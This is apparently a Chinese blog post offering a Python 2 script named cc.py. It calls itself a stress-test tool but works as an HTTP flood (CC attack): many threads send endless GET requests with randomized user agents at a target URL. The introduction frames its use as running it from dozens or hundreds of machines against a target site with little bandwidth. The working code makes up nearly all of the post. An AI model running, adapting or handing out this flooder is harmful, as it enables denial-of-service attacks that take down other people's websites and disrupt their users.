单机压力测试脚本

这个脚本适用条件很有限,比如自己手里有几十几百台机器,而目标站又用的香港这种小水管。

参数
python cc.py -t 线程数 -u http://www.xxx.com/

#!/usr/bin/env python
#!coding:utf8
import pycurl
import StringIO
import Queue
from threading import Thread
from threading import Lock
from os import system
import time
import re
import sys
from random import randint
import random
import urllib
import getopt
from optparse import OptionParser 

TIMEOUT = 30

parser = OptionParser()  
parser.add_option("-t", "--thread", dest="thread_num", action="store",
                      help="thread") 
parser.add_option("-u", "--url", dest="url", action="store",
                      help="url") 
(options, args) = parser.parse_args()  

thread_num = int(options.thread_num)

def get_url():
    pices = options.url.split(' ')
    return random.choice(pices)

def http_get(url):
    try:
        buf = StringIO.StringIO()
        c = pycurl.Curl()

        c.setopt(c.NOSIGNAL, 1)
        c.setopt(c.URL, url)
        c.setopt(c.WRITEFUNCTION, buf.write)
        c.setopt(c.USERAGENT, rand_ua())
        c.setopt(c.CONNECTTIMEOUT, TIMEOUT)
        c.setopt(c.TIMEOUT, TIMEOUT)
        c.setopt(c.SSL_VERIFYPEER, 0)  
        c.setopt(c.SSL_VERIFYHOST, 0)
        c.setopt(c.FOLLOWLOCATION, 0)
        c.perform()

        rescode = 0
        res = buf.getvalue()

    except Exception,e: 
        rescode = 1
        res = e
    finally:
        buf.close()
        c.close()
    return (rescode, res)

def cc():
    while(True):
        target_url = get_url()
        res = http_get(target_url)
        timestr = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))
        if res[0] == 0:
            print "[%s] \33[33m%s\33[0m \33[32m%s\33[0m" % (timestr, target_url, len(res[1]))
            pass
        else:
            print "[%s] \33[33m%s\33[0m [%s]%s" % (timestr, target_url, res[0], res[1])
        del res

def main():
    threads = []
    for i in range(thread_num):
        threads.append(Thread(target=cc))
    print 'threads start...'
    time.sleep(1)
    for t in threads:
        t.start()
    for t in threads:
        t.join()

def rand_ua():
    return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/%s.%s (KHTML, like Gecko) Chrome/%s.0.%s.%s Safari/%s.%s"\
        % (randint(50,600),randint(20,60),randint(30,80),randint(200,8000),randint(1,99),randint(1,1000),randint(1,99))

if __name__ == '__main__':
    main()

本文链接:

https://www.wbzhi.com/dd.html
1 + 1 =
快来做第一个评论的人吧~